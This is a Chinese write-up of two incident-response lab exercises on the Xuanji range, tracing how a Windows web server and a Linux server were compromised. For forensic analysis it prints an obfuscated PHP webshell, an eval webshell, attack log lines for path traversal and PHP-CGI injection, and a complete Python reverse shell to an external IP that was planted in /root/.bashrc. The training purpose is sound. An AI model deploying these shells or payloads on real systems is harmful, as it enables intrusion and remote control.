玄机靶场通关(持续更新)

玄机靶场通关

全部要VIP,所以穷鬼我要看别人的WP来学

Windows应急-应急与研判训练计划一

服务器场景操作系统 Windows
服务器账号密码 administrator P@ssw0rd
题目来源公众号 ©州弟学安全 任务环境说明这是某单位正常运行的主机,但由于安全防范意识不到位,导致系统被攻击。目前已知攻击者成功接管了系统。需要通过上机排查,利用开放的服务快速识别攻击者的操作、最终攻击成功的方法以及接管成功的IP。相关工具和全程流量数据已放置在桌面中。1. 你需要根据环境内的所有工具和文件,附件等,根据应急响应形式快速排查出攻击者的所有行为2. 你需要排查出攻击者最后利用成功的漏洞以及利用成功IP进行整理3. 你需要自己按照攻击者思路写一份攻击者大概的攻击思路或攻击流程图4. 你可以借助一切工具,你可以把它当作实战,这里没有任何约束条件注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查

原文地址:Windows应急-应急与研判训练计划 - 玄机靶场_windows应急-应急与研判训练计划 一-CSDN博客、Windows应急-应急与研判训练计划 一-CSDN博客

步骤一:请找出攻击者攻击成功的端口,如多个端口,则从小到大

检查开放端口-netstat -nao

通过netstat命令,发现 3389 端口(远程桌面)和 80/8080 端口(WEB 服务)开放。

这些端口的开放可能意味着系统可能被远程访问或有 WEB 服务在运行。

img

21 - FTP(文件传输协议)

80 - HTTP(网页服务)

135 - Microsoft RPC(远程过程调用)

445 - Microsoft-DS(用于共享文件和打印机)

3306 - MySQL 数据库

8080 - 常用于代理服务器或 Web 服务(如 Tomcat)

9000 - 可能是 PHP-FPM 或者 SonarQube 监听端口

端口 47001-49684 这些端口可能是 Windows 动态端口(Ephemeral Ports),用于临时连接。

答案:flag{21,3389,8080}

步骤二:请找出攻击者上传的恶意文件名

根据端口号查看服务-tasklist /fi "PID eq 628"

也可以如此分析tasklist | findstr "480 708 64 2144 612 1880 628"

img

tasklist|findstr 628

img

使用cmder工具可以在windows中使用linux中的命令如:cat、awk等等

分析得知,系统使用phpstudy搭建了两个web服务端口分别为80、8080,其中80为静态网站、8080为dedecms网站。

服务中间件是nginx,查看nginx日志文件,先查看了一下error.log,发现除了127.0.0.1还有192.168.18.133具有大量访问失败的记录并且访问的网站端口基本都是8080。img

img

使用 awk "{print $1}" access.log | sort | uniq -c 可以统计访问者中源ip地址与其个数

awk 是一个文本处理工具,{print $1} 表示打印每一行的第 1 列(通常是访问者的 IP 地址)。

sort 命令会对提取出的 IP 地址进行排序,这样相同的 IP 会排列在一起,便于后续统计。

uniq 负责去重-c 选项让它统计每个 IP 地址的出现次数

img

查看access.log文件发现主要记录是127.0.0.1和192.168.18.133,所以几乎可以确定攻击者为:192.168.18.133

使用awk "$9!=404 {print $1,$6,$7,$9}" access.log ,在最后发现一个可疑的命令访问了phpinfo();但是没有成功,恶意文件名应该就是为newfile1.php

'$9!=404':条件判断,表示如果第 9 列(HTTP 响应状态码)不等于 404,则执行 {print $1,$6,$7,$9}

{print $1,$6,$7,$9}

  • $1:第一列,客户端 IP 地址
  • $6:第六列,请求方法(如 GETPOST)。
  • $7:第七列,请求的 URL 路径
  • $9:第九列,HTTP 响应状态码

img

攻击者通过newfile1.phpphpinfo()进行了访问,因此为恶意文件

答案:newfile1.php

awk "$9!=404 {print $1,$6,$7,$9}" access.log | grep POST 过滤POST相关的记录分析得应该是通过弱口令成功登录网站,然后通过网站后台写入木马。

img

/dede/login.php 是织梦CMS(DedeCMS)的默认后台登录路径。

192.168.18.133成功登录了后台,最后应该是在templets_one_edit.php中写入了木马。

  • 可疑文件上传

    192.168.18.133 "POST /general/index/Upload File.php?m-uploadPicture&uploadType-eoffice_logo&userId= 403
    192.168.18.18.133 "POST /module/ueditor/php/action_upload.php?action-uploadfile 403
    
    • 尝试利用上传接口(如Upload File.php、UEditor的action_upload.php)上传恶意文件,但部分请求被拦截(403)。
  • 路径穿越与命令执行

    192.168.18.133 "POST /cgi-bin/.%2e/%20%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 400
    192.168.18.133 "POST /.%0d./.%0d./.%0d./.%0d./bin/sh%20HTTP/1.0 500
    
    • 使用路径穿越(../)尝试执行系统命令(/bin/sh),可能意图获取服务器控制权。
  • PHP代码注入

    192.168.18.133 "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input 200
    
    • 通过修改PHP配置参数(allow_url_includeauto_prepend_file),尝试从输入流执行任意PHP代码。
  • 敏感文件泄露

    192.168.18.133 "POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php 403
    
    • 尝试通过路径穿越下载数据库配置文件(database.php),获取数据库凭据。

在网站目录下搜索newfile得到了木马文件

img

img

<? @("Y;HJ(Z""8H;/Z.")(${"~?}$""!x8p"}[1]);

'Y' ^ '8' = 89 ^ 56 = 105 → 'i'
';' ^ 'H' = 59 ^ 72 = 115 → 's'
'H' ^ ';' = 72 ^ 59 = 115 → 's'
'J' ^ '/' = 74 ^ 47 = 101 → 'e'
'(' ^ 'Z' = 40 ^ 90 = 114 → 'r'
'Z' ^ '.' = 90 ^ 46 = 116 → 't'
'~' ^ '!' = 126 ^ 33 = 95 → '_'
'?' ^ 'x' = 63 ^ 120 = 95 → '_'
'}' ^ '8' = 125 ^ 56 = 69 → 'E'
'$' ^ 'p' = 36 ^ 112 = 84 → 'T'

"issert" → 实际应为 assert(可能是混淆时的字符偏移误差)。

__ET → 实际应为 _POST

解密后即为:

<? @assert($_POST[1]);

步骤三:请找出攻击者最终攻击成功的端口

靶机给出流量包中进行分析:

我们通过对这靶机的了解不难看出,攻击者发现了目标后,通过对网站弱口令的爆破后放置恶意文件,最终拿下了整个服务器的权限,所以我们可以结合情况得知,真正攻击成功的端口是3389

img

答案:3389

步骤四:请找出攻击者最终攻击成功端口的IP

使用FullEventLogView工具对系统的事件进行查看发现攻击者的爆破行为与接管的主机为192.168.18.1

img

img

在 Windows 安全日志中:

  • 事件 ID 4625 表示 登录失败(An account failed to log on)
  • 该事件通常在 Windows 安全日志(Security Log)中记录。
  • 失败的登录尝试可能由于密码错误、账户锁定、用户不存在等原因。

配合其他事件 ID 进一步分析

  • 成功登录(事件 ID 4624):如果一个 IP 先出现多个 4625,随后出现 4624,说明可能成功破解了密码
  • 账户锁定(事件 ID 4740):如果某个用户连续多次 4625,随后触发 4740,说明账户已被锁定

img

答案:192.168.18.133

步骤五:请找出攻击者最后接管服务器的IP

img

答案:192.168.18.1

第九章-blueteam 的小心思

服务器场景操作系统 Linux
服务器账号密码 root qi5qaz任务环境说明注:进去后执行  sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart

原文地址:玄机:第九章-blueteam 的小心思-CSDN博客、玄机——第九章-blueteam 的小心思 wp(HVV——“蓝队”应急响应简单模拟例题)-CSDN博客

步骤一:攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。

使用shell进行一个连接,执行命令

sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart

sed:流编辑器,用于文本替换、删除等操作。

-i:表示直接修改文件,而不是输出到终端。

's/Listen 80/Listen 9999/':使用 sed 的替换命令(s/old/new/),将 Listen 80 替换为 Listen 9999

/etc/apache2/ports.conf:Apache 端口配置文件,通常包含 Listen 80 这样的配置项,表示 Apache 监听 80 端口。

service apache2 restart:重新启动 Apache 服务器,使新的端口配置生效。

靶机可以通过这种方式,可以改变 Apache Web 服务器的默认监听端口,常用于避免端口冲突或者提升服务器的安全性(通过使用非标准端口)。

并把wireshark.pcap文件下载到本地,用 wireshark 打开,使用显示过滤器过滤http:

img

直接找到了密码,经MD5加密即可

答案:"Aa12345^"

步骤二:攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。

我们可以查找一下“boundary”(boundary 一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据)

http contains "boundary"

img

img

可以发现这里上传了一个名为cpg.zip的压缩包,并且其中包含了cpg.php,内容为<?php @eval($_POST["m3"]);?>的后门文件。

答案:"pluginmgr.php"的MD5值

步骤三:找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。

在shell中把网站根目录/var/www/html文件下载下来再用D盾扫描:

img

答案:cpg.php文件的MD5值

步骤四:攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。

解题思路一:根据上传第一个webshell的时间来筛选前后下载的文件

stat cpg.php

stat:用于显示文件或目录的详细状态信息。

在这里插入图片描述

现已确定文件修改时间(2023-11-18 07:39:36),及文件所有者(www-data);

使用以下命令分析前后两天用户“www-data”的行为:

find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data

find / —— 在整个系统中搜索

-newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' —— 按修改时间筛选

  • -newerct按 "变更时间 (ctime)" 进行比较,查找比指定日期更新的文件。加上!即为反选

! -path '/proc/\*' ! -path '/sys/\*' ! -path '/run/\*' —— 排除特定目录

  • /proc//sys//run/ 目录是虚拟文件系统,通常包含系统运行时的信息,而不是普通文件,所以这些目录被排除。

-type f —— 只搜索普通文件

-exec ls -lctr --full-time {} \+ —— 详细列出文件信息

  • -exec ... {} \+:对找到的文件批量执行 ls 命令,减少进程创建开销。

  • ls -lctr --full-time
    

    选项解析:

    • -l:详细模式(包含权限、所有者、文件大小等)。
    • -c:按文件 ctime(元数据修改时间)排序(默认 lsmtime 排序)。
    • -t:按时间排序,最近修改的排在最后。
    • -r反向排序,让最早修改的文件排在前面。
    • --full-time:显示完整的时间戳(包括秒和时区)。

2>/dev/null —— 屏蔽错误信息

| grep www-data —— 过滤出由 www-data 拥有的文件

在这里插入图片描述

解题思路二:继续分析流量包中的数据

img

img

可以发现攻击者利用上传的木马执行了在124.221.70.199服务器中的is.world文件

搜索该文件即可找到

在这里插入图片描述

答案:is.world文件的MD5值

步骤五:攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。

题目的意思为攻击者在攻击了靶机后创建了新用户

我们可以查看/etc/passwd 文件,其中包含了所有用户的信息,包括用户名和用户ID等:

cat /etc/passwd

在这里插入图片描述

最下面的账户 UID 和 GID 都是 0,意味着它具有与 root 用户相同的权限。

  • /home/knowledgegraphd 是这个用户的主目录。
  • /bin/bash 是这个用户的默认 shell,允许用户执行命令,这进一步表明这是一个高权限用户。

答案:"knowledgegraphd"的MD5值

步骤六:攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

黑客在 Linux 系统上创建持久化配置项,以在任意用户登录时触发后门连接,通常会利用以下shell配置文件

常见的文件包括:

”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
”/etc/profile“:为所有用户提供的系统级别的配置文件,
”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。

在查看到profile文件时发现关键

cat /etc/profile

得到:

在这里插入图片描述

简单分析一下:

简单来说就是 /etc/profile 文件的内容,这是一个系统范围的配置文件,用于设置 Bourne shell(如 sh、bash、ksh 等)的全局环境变量和配置。

  1. 首先,这段代码检查是否存在交互式 shell 的环境变量 ${PS1-}。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是 /bin/sh
  2. 如果是 Bash,并且存在 /etc/bash.bashrc 文件,则会载入该文件的配置。
  3. 如果当前用户是 root 用户(通过 id -u 命令检查),则设置提示符 PS1 为 #,表示超级用户权限。否则设置为 $,表示普通用户权限。
  4. 接下来就是黑客插入的后门程序:/var/www/html/plugins/". "/is.world &,它是一个恶意添加的行,试图运行一个不明的命令或程序。
  5. 最后,如果/etc/profile.d目录存在,则会加载该目录下所有可读的 .sh 结尾的脚本文件,以扩展 shell 的配置。

还有一种做法,就是一般这种配置在/etc,猜测是执行可执行文件,所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序“is.world”;

我们使用命令:

grep -Er "is.world" /etc
  • -E: 表示启用扩展的正则表达式(Extended Regular Expression)模式。这使得 grep 可以识别更多的正则表达式语法。
  • -r: 表示递归地在指定目录及其子目录中搜索。

得到:

在这里插入图片描述

答案:"/etc/profile"的MD5值

步骤六:攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

跟上题差不多,只不过这里是只有root用户登录才会触发后门连接,那这里我们需要确定黑客可利用的文件或者位置,那这里我们就可以猜测了,如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;

“/root/.bashrc”:在root用户登录Bash Shell时执行;
“/root/.bash_profile”:在root用户登录时执行。
“/root/.profile”:在root用户登录时执行。
“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;

还是跟上题一样老操作,一个一个分析过去即可,最后也是在“/root/.bashrc”中发现关键:

在这里插入图片描述

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
  1. import socket,subprocess,os
    导入必要的Python模块:
    • socket:用于网络通信。
    • subprocess:允许执行系统命令。
    • os:提供操作系统接口。
  2. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    创建一个IPv4(AF_INET)的TCP(SOCK_STREAM)套接字对象。
  3. s.connect(("124.221.70.199",9919))
    连接到远程IP地址124.221.70.1999919端口。此IP和端口可能是攻击者控制的服务器。
  4. os.dup2(s.fileno(),0)
    • os.dup2() 用于复制文件描述符。
    • 将套接字的文件描述符(s.fileno())复制到标准输入(0),使得远程输入被当作本地输入。
  5. os.dup2(s.fileno(),1)
    将套接字的文件描述符复制到标准输出(1),本地输出会发送到远程。
  6. os.dup2(s.fileno(),2)
    将套接字的文件描述符复制到标准错误(2),错误信息也会发送到远程。
  7. p=subprocess.call(["/bin/sh","-i"])
    启动一个交互式Shell(/bin/sh -i),并将输入/输出/错误重定向到套接字。此时,攻击者可通过远程服务器完全控制目标系统。
  8. &
    将进程放到后台运行,避免被用户立即察觉。

答案:"/root/.bashrc"的MD5值

步骤八:攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。

数据库的登录信息(账号密码),一般都会储存在配置文件“config.inc.php”中,那我们这里还是直接定位配置文件位置过去查看即可:

find / -name config.inc.php

在这里插入图片描述

在这里插入图片描述

使用navitcat连接:

在这里插入图片描述

在“JPMorgan Chase”数据库中发现它打不开(啥都打不开);

报错,怀疑可能有加密;(符合题目要求,尝试进行MD5加密提交)

在这里插入图片描述

find / -name JPMorgan@0020Chase

得到:

在这里插入图片描述

答案:"JPMorgan@0020Chase"的MD5值

步骤九:解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。

题目让我们解密数据库,提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件:

find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

在这里插入图片描述

在这里插入图片描述

  1. 生成基于当前日期的MD5哈希值作为加密密钥。

  2. 生成一个基于特定字符串的初始化向量(IV)。

  3. 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC加密算法进行加密。

  4. 将加密后的内容覆盖写回到原文件。

简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”,那咋办嘞,直接写一个反推的脚本;

<?php  
$currentDate = date("Y-m-d");  
$key = md5('2023-11-18');  
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);  
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";  
$files = scandir($filePath);  
foreach ($files as $file) {  if ($file != "." && $file != "..") {  $fullPath = $filePath . '/' . $file;  $encryptedContent = file_get_contents($fullPath);  $decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);  file_put_contents($fullPath, $decryptedContent);  }  
}  
?>
  • 使用固定的日期 “2023-11-18” 生成MD5哈希值作为解密密钥。
  • 生成一个基于特定字符串的初始化向量(IV)。
  • 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC解密算法进行解密。
  • 将解密后的内容覆盖写回到原文件。

把解密脚本写在/var/www/mysql/目录下即可

接着运行:

php 123.php

运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;

使用命令:

sudo systemctl restart mysql

在这里插入图片描述

返回数据库

在这里插入图片描述

答案:"Chef"的MD5值

步骤十:因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

题目让我们找到黑客提权所使用的文件,既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件。

find / -user root -perm -4000 2>/dev/null
  • -user root: 查找所有属于 root 用户的文件。
  • -perm -4000: 查找设置了 SUID 位的文件(即特殊权限位)。
    • 4000 是八进制表示法,用于指定 SUID 位。
    • -perm -4000 意味着查找具有 SUID 权限的文件,无论其他权限如何。

简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作。

在这里插入图片描述

发现/usr/bin/sudo:Sudo 是一个常见的提权工具,肯定会被滥用。

/usr/bin/sudo

使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。
那我们进一步的分析一下/etc/sudoers

为什么会分析/etc/sudoers呢?

权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
安全策略:确认是否启用了安全策略,例如 requiretty 选项(要求 sudo 命令只能从终端运行),或 NOPASSWD 选项(允许某些命令无需密码运行)。
日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。

简而言之: /etc/sudoers 包含了系统上 sudo 的配置和权限设置

cat /etc/sudoers

在这里插入图片描述

www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.servicewww-data 用户可以以 root 身份执行 /bin/systemctl status apache2.service 命令,并且无需输入密码。
答案:"/etc/sudoer"的MD5值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/893650.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码在线运行工具网站神器——OneCompiler,程序员必备!

今天给大家分享一款功能强大的代码在线运行工具网站——OneCompiler,它可以让你轻松实现代码的编写、运行和分享。 网址 OneCompiler目前已经被收录在【3M万能在线工具箱】的【编程开发】工具中,这里也提供大家直接的网址: OneCompiler:https://onecompiler.com/ 支持70多种…

OV5640摄像头驱动学习

简介: OV5640的功能框架如图:增益放大器(AMP)以及ISP等可以通过寄存器(registers)来配置,配置寄存器的接口就是SCCB接口,该接口协议兼容IIC协议。 SCCB (Serial Camera Control Bus)串行摄像头控制总线。该总线控制着摄像头大部分的功能,包括图像数据格式、分辨率以…

基于PID控制器的双容控制系统matlab仿真

1.课题概述 基于PID控制器的双容控制系统matlab仿真,仿真输出PID控制下的水位和流量两个指标。2.系统仿真结果 (完整程序运行后无水印) 3.核心程序与模型 版本:MATLAB2022a% 绘制结果图形 t1 = 0:1:times; t2 = 0:1:(times-1); hmax = 23*ones(1,times); % 硬约…

【APP逆向37】hook失败之ptrace占坑

现象使用attach方式hook,frida -UF -l hook.js原因unable to access process with pid 17124 due to system restrictions; try `sudo sysctl kernel.yama.ptrace_scope=0`, or run Frida as root这是ptrace占坑的标志。ptrace可以让一个进程监视和控制另一个进程的执行,并且…

AI训练进行web前后端开发协助

周五我们进行了针对web开发辅助的ai训练,以下是训练过程: 首先我搭建好了环境 然后我根据编程习惯将web前后端分成了这几点:之后我就将其丢给了deepseek,它直接帮我生成了上到mysql表格建立,下到前端jsp页面的所有文件, 哎,这之前怎么没觉得ai这么好用啊,要是用上这种开…

JavaWeb学习(六)

JavaWeb学习(六):Web前端开发 —— 其余内容 目录JavaWeb学习(六):Web前端开发 —— 其余内容Ajax前端工程化Vue 组件库 ElementVue 路由打包部署 本文为个人学习记录,内容学习自 黑马程序员Ajax概念:Asynchronous JavaScript And XML,异步的 JavaScript 和 XML作用:…

leetcode hot 19

解题思路:这题思路主要是用某个容器(数组等)来存储链表,然后再用双指针或者同时遍历的方法就可以判断。我使用栈进行存储,出栈的元素相当于链表倒序,如果和链表正序的结果相同就证明是回文。如果想用O(1)的空间,就把前一半或后一半的链表倒转,然后遍历就可以了。 /*** D…

code.c WriteUp

题目链接: https://pan.baidu.com/s/1u8bGbKcUF6_gLaw63L3jyA?pwd=h8r5 提取码: h8r5 WriteUp 题目名称:code.c 分类:Reverse 描述:得到源码的输出结果 解题思路 首先用Vscode查看code.c文件,发现该文件对argv[]进行判断处理,其中很容易联想到这和输出结果紧密联系。依次…

6. Calcite添加自定义函数

1. 简介 在上篇博文中介绍了如何使用calcite进行sql验证, 但是真正在实际生产环境中我们可能需要使用到用户自定义函数(UDF): 通过代码实现对应的函数逻辑并注册给calcitesql验证: 将UDF信息注册给calcite, SqlValidator.validator验证阶段即可通过验证 sql执行: calcite通过调…

P10945 Place the Robots 紫 题解

Part 1. 题意 在 \(N \times M\) 的矩阵中的空地放人机,任一人机上下左右走到边界或墙之前遇不到另一人机。 我已经尽力写得简短了。。Part 2. 思路 我们先思考无墙的情况。 若无墙,则同車的放置,把草方块当作禁止放車的方块即可,。 贴一下车的放置的代码: #include <b…

如何实现和调试REST API中的摘要认证(Digest Authentication)

如何实现和调试REST API中的摘要认证(Digest Authentication) 在保护REST API时,开发者通常会在多种认证机制之间进行选择,其中摘要认证(Digest Authentication)是一种常见的选择。本文探讨了使用摘要认证的原因,解释了其原理,提供了Java和Go语言的实现示例,并提供了测…

CF2068H. Statues

CF2068H. Statues 构造题. 思路 我们设 \(d_0 = a + b\) 是第 1 座雕像到第 \(n\) 座雕像的距离. 那么首先可以注意到两个必要条件:\(\displaystyle \sum_{i = 0}^{n - 1} d_i\) 为偶数. 对于 \(\forall i \in [0, n - 1]\), 都有 \(d_i \le d_0 + \dots + d_{i - 1} + d_{i + …